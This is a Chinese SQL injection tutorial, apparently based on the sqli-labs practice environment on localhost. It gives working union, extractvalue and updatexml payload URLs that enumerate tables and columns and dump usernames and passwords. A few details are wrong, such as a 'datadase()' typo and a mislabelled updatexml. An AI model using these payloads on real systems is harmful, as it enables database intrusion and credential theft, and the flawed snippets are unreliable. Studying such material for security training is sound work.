目录
什么是sql注入
SQL注入概念
所谓sql注入,就是通过把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
比如先前的很多影视网站泄露VIP密码大多就是通过WEB表单递交查询字符爆出的,这类表单极易受到SQL注入式攻击。
SQL注入的原理
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入的主要特点:
变种极多
攻击简单
危害极大
SQL注入的危害:
未经授权操作数据库中的数据
恶意篡改网页内容
添加账户或数据库账号(这个需要拿到web shell 或者更高的权限)
网页挂载木马,将一些网页木马挂在服务器上去攻击别人
注入分类:
按查询字段:
字符型 | 当输入的参数为字符串时,称为字符型 |
数字型 | 当输入的参数为整型时,可以认为是数字型输入 |
按注入方法:
union注入 | 报错注入 | 布尔注入 | 时间注入 |
什么是注入点:
注入点就是可以实行注入的地方,通常是一个访问数据库的连接。
如何判断是以什么类型的注入
字符型注入还是数字型注入
数字型一般提交内容为数字,但数字不一定为数字型
方法1:使用and 1=1和and 1=2来判断
Less-1(字符型)提交and 1=1和and 1=2都能正常显示界面,则是字符型注入
Less-2(数字型)提交and 1=2条件无法满足,语句无法被数据库查询到,网页无法正常显示,则为数字型注入。
方法2:使用减法来判断(字符型不做加减法,所以注入结果一样;数值型做加减,注入结果不一样):
闭合的方式是什么:
数值型注入不存在闭合方式,字符型注入的闭合方式常见的有四种:’ 、”、’)、”)
闭合的作用是什么:
手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句,需要查询的参数不需要的语句可以用注释符号 ‘--+’、‘#’或‘%23’注释掉
字符型Union联合注入:
拿到表名和列名
在MySql中数据库information_schema包含mysql数据库的简要信息,其中包含有两个所需的数据表:tables(表名集合表)columns(列名集合表)
查询表名:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables --+
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
查询列名:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() --+
查询最终目标:(获得用户名和密码)
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username,'-',password),3 from users --+
数值型union联合注入:
与字符型union联合注入相似,只是少了判断闭合符这一步
报错注入:
http://127.0.0.1/sql/Less-5/?id=-2' union select 1,datadase() ,3--+
extractValue()报错注入
http://127.0.0.1/sql/Less-5/?id=-2' union select 1,extractvalue(1,concat(0x7e,(select database()))),3--+
extractvalue(参数1,参数2)其中:参数1:列名,参数2:可以理解为路径
concat(参数1,参数2)函数:把函数里的两个参数进行拼接 concat(good,morning) 输出:good morning
http://127.0.0.1/sql/Less-5/?id=-2' union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3--+
http://127.0.0.1/sql/Less-5/?id=-2' union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),3--+
http://127.0.0.1/sql/Less-5/?id=-2' union select 1,extractvalue(1,(select group_concat(username,'-',password) from users)) ,3 --+
使用substring()函数解决extractvalue()只能 返回32个字符串的问题
http://127.0.0.1/sql/Less-5/?id=-2' union select 1,extractvalue(1,(select substring(group_concat(username,'-',password),31,30) from users)) ,3 --+
updatexml()报错注入
update(参数1,参数2,参数3)
参数1:string 格式,为xml文档对象的名称,例如doc
参数2:路径
参数3:替换查找到的符合条件的数据
http://127.0.0.1/sql/Less-6/?id=-1" and 1=updatexml(1,concat('~',(select database())),3) --+
http://127.0.0.1/sql/Less-6/?id=-1" and 1=updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
http://127.0.0.1/sql/Less-6/?id=-1" and 1=updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) --+
http://127.0.0.1/sql/Less-6/?id=-1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,'-',password),1,30)from users) ),3) --+
http://127.0.0.1/sql/Less-6/?id=-1" and 1=updatexml(1,concat('~',(select substring(group_concat(username,'-',password),1,30 ) from users)),3) --+
floor报错注入:
rand()函数:随机返回0-1间的小数
floor()函数:小数向下取整数。向上取整数ceiling()
concat_ws()函数:将括号内数据用第一个字段连接起来
group by子句:
as:别名
count()函数:汇总统计数量
limit:显示指定行数